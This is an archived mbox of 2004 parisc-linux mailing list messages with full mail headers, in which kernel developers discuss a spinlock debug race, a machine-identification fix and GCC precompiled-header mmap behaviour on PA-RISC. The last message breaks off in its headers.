X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21813

> 	a = __ldcw_align(lock);
> 	while ((__ldcw(a) == 0))
> 		while ((*a == 0) && --stuck);

There's another race in the code. Suppose stuck becomes 0, so you go
back to the outer loop, and you manage to acquire the lock, then you
will hit the next if:

     52         if (unlikely(stuck <= 0)) {
     53                 printk(KERN_ERR
     54                         "%s:%d: spin_lock(%s/%p) stuck in %s at %p(%d)"
     55                         " owned by %s:%d in %s at %p(%d)\n",
     56                         base_file, line_no, lock->module, lock,
     57                         current->comm, inline_pc, cpu,
     58                         lock->bfile, lock->bline, lock->task->comm,
     59                         lock->previous, lock->oncpu);
     60                 stuck = INIT_STUCK;
     61                 printed = 1;
     62                 goto try_again;
     63         }

so you erroneously detect that the lock was not taken, print an error,
and go back to get the lock again. now you will not be able to acquire
the lock and you are deadlocked.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock debug
Date: Tue, 13 Jul 2004 23:28:06 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20040714052806.GB16639@colo.lackof.org>
References: <20040714042909.GM546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623502 10217 80.91.229.3 (22 Nov 2014 02:31:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 varenet@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32239 invoked by uid 65534); 14 Jul 2004 05:28:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 14 Jul 2004 07:28:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3ADEB3BC41; Tue, 13 Jul 2004 23:28:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10286-02; Tue, 13 Jul 2004 23:28:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1C4AF3BDD5; Tue, 13 Jul 2004 23:28:13 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FAEF3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 23:28:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10122-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 23:28:08 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 417833BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 23:28:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 807FA29804B; Tue, 13 Jul 2004 23:28:07 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17044-09; Tue, 13 Jul 2004 23:28:07 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E67F0298033; Tue, 13 Jul 2004 23:28:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040714042909.GM546@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21814

On Tue, Jul 13, 2004 at 09:29:10PM -0700, Randolph Chung wrote:
> I don't think the comment is correct.

The comment is *mostly* correct.
It just doesn't get all the exit criteria right. :^)

> Lets say someone is holding the
> lock when you enter this code, your outer loop test always succeeds, and
> you spin on the inner loop until stuck == 0. At that point you go back
> to the outer loop, the lock is still held, so you go back to the inner
> loop and continue spinning, and you never timeout the lock.

Yup - good catch.

> you probably need a "&& stuck > 0" in the outer loop.

Yes. This should be sufficient:
        a = __ldcw_align(lock);
        while ((__ldcw(a) == 0) && stuck)
                while ((*a == 0) && --stuck);

> for some reason this still doesn't work for me though, but i don't see 
> why :( with a TOC i see we are spinning and i never see the printk.
> it might be that it's actually printing and just that the output is not
> going to the console... dunno

Do you happen to know which lock it's spinning on?
That should at least reduce the subset of code we need to look at.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock debug
Date: Tue, 13 Jul 2004 22:30:50 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20040714053050.GO546@tausq.org>
References: <20040714042909.GM546@tausq.org>
	<20040714052806.GB16639@colo.lackof.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623502 10221 80.91.229.3 (22 Nov 2014 02:31:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 varenet@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16360 invoked by uid 65534); 14 Jul 2004 05:32:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 14 Jul 2004 07:32:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8928B3BCA9; Tue, 13 Jul 2004 23:31:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10339-05; Tue, 13 Jul 2004 23:31:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7DDD53BDDB; Tue, 13 Jul 2004 23:30:58 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA6133BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 23:30:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10286-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 23:30:51 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 9E7B73BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jul 2004 23:30:47 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id AEE6BCD299; Tue, 13 Jul 2004 22:30:50 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040714052806.GB16639@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21815

> Do you happen to know which lock it's spinning on?
> That should at least reduce the subset of code we need to look at.

Nope, which is why i wanted to get the printk output :-)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] debug spinlocks
Date: Wed, 14 Jul 2004 12:23:18 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20040714192318.GR546@tausq.org>
References: <20040714182035.77810494692@palinux.hppa>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623503 10223 80.91.229.3 (22 Nov 2014 02:31:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23797 invoked by uid 65534); 14 Jul 2004 19:23:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx049) with SMTP; 14 Jul 2004 21:23:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1D97A3BDC9; Wed, 14 Jul 2004 13:23:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16993-05; Wed, 14 Jul 2004 13:23:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F19423BDCA; Wed, 14 Jul 2004 13:23:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 441073BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jul 2004 13:23:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17071-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jul 2004 13:23:14 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 199423BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jul 2004 13:23:14 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 06DFCCD299; Wed, 14 Jul 2004 12:23:19 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040714182035.77810494692@palinux.hppa>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21816

Thibaut, thanks for fixing the debug locks.

Has anyone else tried this on a SMP config? For some reason with
CONFIG_DEBUG_SPINLOCKS=y, i cannot boot a kernel, but without the debug
spinlocks it works fine (well, it gets further). 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "Unknown machine at ..." on N4k
Date: Wed, 14 Jul 2004 18:59:43 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20040715005943.GF2810@colo.lackof.org>
References: <40BD9F870001BC0C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623503 10226 80.91.229.3 (22 Nov 2014 02:31:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8090 invoked by uid 65534); 15 Jul 2004 01:00:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 15 Jul 2004 03:00:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F00F03BDC9; Wed, 14 Jul 2004 19:00:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18126-05; Wed, 14 Jul 2004 19:00:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 199673BDCA; Wed, 14 Jul 2004 18:59:50 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B98F3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jul 2004 18:59:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17723-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jul 2004 18:59:45 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5CBDC3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jul 2004 18:59:45 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 92EEC298110; Wed, 14 Jul 2004 18:59:44 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03160-02; Wed, 14 Jul 2004 18:59:44 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0459829810F; Wed, 14 Jul 2004 18:59:43 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <40BD9F870001BC0C@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21817

On Wed, Jul 14, 2004 at 05:24:23PM +0000, Joel Soete wrote:
...
> 19. Unknown machine at 0xfffffffffed25000 [37] { 0, 0x0, 0x5d3, 0x00000 }
...
> Any idea where I have to look for to change it?

It needs to be added to arch/parisc/kernel/hardware.c.
see hp_hardware_list[] declaration :^)

We just need to know what the proper name for the CPU is.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mmap and GCC precompiled headers
Date: Thu, 15 Jul 2004 16:25:01 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200407152025.i6FKP1ng011630@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623503 10228 80.91.229.3 (22 Nov 2014 02:31:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3714 invoked by uid 65534); 15 Jul 2004 20:26:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 15 Jul 2004 22:26:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A3C203BDE2; Thu, 15 Jul 2004 14:25:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28870-04; Thu, 15 Jul 2004 14:25:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C50003BDCA; Thu, 15 Jul 2004 14:25:08 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFAF73BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 14:25:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28104-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 14:25:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A81B23BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 14:25:03 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6FKP2Cp011632 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 16:25:02 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6FKP1ng011630
	for parisc-linux@lists.parisc-linux.org;
	Thu, 15 Jul 2004 16:25:01 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21818

Precompiled headers (PCH) seem to be broken at the moment on hppa-linux
on at least certain kernel versions (2.6.6-pa4) because of the following
assumption in the PCH implementation:

   This version assumes that the kernel honors the START operand of mmap
   even without MAP_FIXED if START through START+SIZE are not currently
   mapped with something.  */

int
mmap_gt_pch_use_address (void *base, size_t size, int fd, size_t offset)
{

Anybody have any ideas as to whether parisc-linux can support the
above?  It seems to break down for large PCH files.  START isn't
honored under hpux either.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mmap and GCC precompiled headers
Date: Thu, 15 Jul 2004 21:39:46 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20040715203946.GN32326@parcelfarce.linux.theplanet.co.uk>
References: <200407152025.i6FKP1ng011630@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623504 10232 80.91.229.3 (22 Nov 2014 02:31:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14790 invoked by uid 65534); 15 Jul 2004 20:40:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 15 Jul 2004 22:40:38 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E2B8B3BDE6; Thu, 15 Jul 2004 14:40:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28870-10; Thu, 15 Jul 2004 14:40:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
